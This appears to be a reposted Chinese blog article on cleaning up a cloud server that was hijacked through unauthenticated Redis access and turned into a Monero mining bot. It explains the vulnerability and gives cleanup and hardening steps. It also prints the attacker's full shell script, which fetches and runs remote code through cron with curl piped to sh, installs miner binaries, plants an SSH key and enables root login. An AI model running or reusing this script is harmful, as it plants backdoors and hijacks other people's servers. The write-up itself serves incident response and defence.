朋友的一個項目說接到阿里雲的告警，提示服務器已淪為肉雞，網絡帶寬被大量占用，網站訪問很慢，通過SSH遠程管理服務器還頻繁斷開鏈接。朋友不知如何下手，便邀請我幫忙處理。
阿里雲的安全告警郵件內容：
在沒有查到異常進程之前我是先把操作系統的帶寬&端口用iptables 做了限制這樣能保證我能遠程操作服務器才能查找原因.
在各種netstat –ntlp 的查看下沒有任何異常。在top 下查到了有異常進程 還有些異常的這里就截圖一個：
結果果斷把進程給kill -9 了 沒想到再去ps的時候又來了 意思就是會自動啟動它。
這就讓我想到了crond 這個自動任務果不其然 /var/sprool/cron/root 這個文件被人做了手腳 而且是二進制的，果斷又給刪除了，以為這下沒事了結果過了兩分鍾這個文件又來這個就引起我主要了聯想到了是不是有說明守護進程了 這樣的事情肯定是有守護進程在才會發生的了。於是我去百度了下 jyam -c x -M stratum+tcp 果不其然 確實有這樣的攻擊，這個攻擊是由於redis 未授權登陸漏洞引起導致黑客利用的。
漏洞概述
Redis 默認情況下，會綁定在 0.0.0.0:6379，這樣將會將Redis服務暴露到公網上，如果在沒有開啟認證的情況下，可以導致任意用戶在可以訪問目標服務器的情況下未授權訪 問Redis以及讀取Redis的數據。攻擊者在未授權訪問Redis的情況下可以利用Redis的相關方法，可以成功將自己的公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中，進而可以直接登錄目標服務器。
漏洞描述
Redis 安全模型的觀念是: “請不要將Redis暴露在公開網絡中, 因為讓不受信任的客戶接觸到Redis是非常危險的” 。
Redis 作者之所以放棄解決未授權訪問導致的不安全性是因為, 99.99%使用Redis的場景都是在沙盒化的環境中, 為了0.01%的可能性增加安全規則的同時也增加了復雜性, 雖然這個問題的並不是不能解決的, 但是這在他的設計哲學中仍是不划算的。
因為其他受信任用戶需要使用Redis或者因為運維人員的疏忽等原因，部分Redis 綁定在0.0.0.0:6379，並且沒有開啟認證（這是Redis的默認配置），如果沒有進行采用相關的策略，比如添加防火牆規則避免其他非信任來源 ip訪問等，將會導致Redis服務直接暴露在公網上，導致其他用戶可以直接在非授權情況下直接訪問Redis服務並進行相關操作。
利用Redis自身的相關方法，可以進行寫文件操作，攻擊者可以成功將自己的公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中，進而可以直接登錄目標服務器。 （導致可以執行任何操作）
漏洞影響
Redis 暴露在公網（即綁定在0.0.0.0:6379，目標IP公網可訪問），並且沒有開啟相關認證和添加相關安全策略情況下可受影響而導致被利用。
在網上我查到這個被黑客編譯成二進制的源文件代碼 (關於redis 未授權登陸安全措施：
1 配置bind選項, 限定可以連接Redis服務器的IP, 並修改redis的默認端口6379. 防火牆控制好允許IP連接就好
2 配置AUTH, 設置密碼, 密碼會以明文方式保存在redis配置文件中.
3 配置rename-command CONFIG "RENAME_CONFIG", 這樣即使存在未授權訪問, 也能夠給攻擊者使用config指令加大難度
4是Redis作者表示將會開發”real user”，區分普通用戶和admin權限，普通用戶將會被禁止運行某些命令，如config
)
##網上查到腳本內容大致如下
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/2 * * * * curl -L https://r.chanstring.com/api/report?pm=1 | sh" > /var/spool/cron/root
# echo "*/2 * * * * ps auxf | grep -v grep | grep yam || /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr" >> /var/spool/cron/root
echo "*/5 * * * * ps auxf | grep -v grep | grep gg3lady || nohup /opt/gg3lady &" >> /var/spool/cron/root
ps auxf | grep -v grep | grep yam || nohup /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr &
if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
mkdir -p ~/.ssh
rm -f ~/.ssh/authorized_keys*
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
/etc/init.d/sshd restart
fi
if [ ! -f "/opt/yam/yam" ]; then
mkdir -p /opt/yam
curl -f -L https://r.chanstring.com/api/download/yam -o /opt/yam/yam
chmod +x /opt/yam/yam
# /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr
fi
if [ ! -f "/opt/gg3lady" ]; then
curl -f -L https://r.chanstring.com/api/download/gg3lady_`uname -i` -o /opt/gg3lady
chmod +x /opt/gg3lady
fi
# yam=$(ps auxf | grep yam | grep -v grep | wc -l)
# gg3lady=$(ps auxf | grep gg3lady | grep -v grep | wc -l)
# cpu=$(cat /proc/cpuinfo | grep processor | wc -l)
# curl https://r.chanstring.com/api/report?yam=$yam\&cpu=$cpu\&gg3lady=$gg3lady\&arch=`uname -i`
於是終於找到源頭了，
下面我們來分析下這個腳本
整個腳本的大致就這樣
處理方法只要把 /var/spool/cron/root 刪除 /opt/yam/yam 刪除 /opt/gg3lady 刪除 .ssh/KHK75NEOiq 刪除
把gg3lady yam 進程結束 還有就是sshd_confg 文件還原 應該就沒問題了。但是為了安全起見還是希望重裝服務器，不確保別人不留其他的漏洞
對應的安全處理：
1、限制Redis的訪問IP，如指定本地IP獲指定特定IP可以訪問。
2、如果是本地訪問和使用，打開防火牆（阿里雲等操作系統，默認把防火牆關了），不開放Redis端口，最好修改掉Redis的默認端口；
3、如果要遠程訪問，給Redis配置上授權訪問密碼；
本文轉自：http://www.roncoo.com/article/detail/124191